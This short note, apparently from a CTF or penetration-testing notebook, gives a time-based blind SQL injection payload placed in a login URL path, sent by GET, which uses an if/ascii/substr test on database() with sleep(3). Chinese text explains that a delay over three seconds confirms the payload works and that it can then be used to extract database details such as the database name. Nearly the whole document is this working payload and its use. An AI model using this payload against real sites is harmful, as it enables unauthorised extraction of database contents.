/?member')^if((ascii(substr((select(database())),1,1))>1),1,sleep(3))%23/login/

get

如果时间超过3秒，payload是可以的，我们可以使用payload来查找数据库的信息，
比如数据库的名称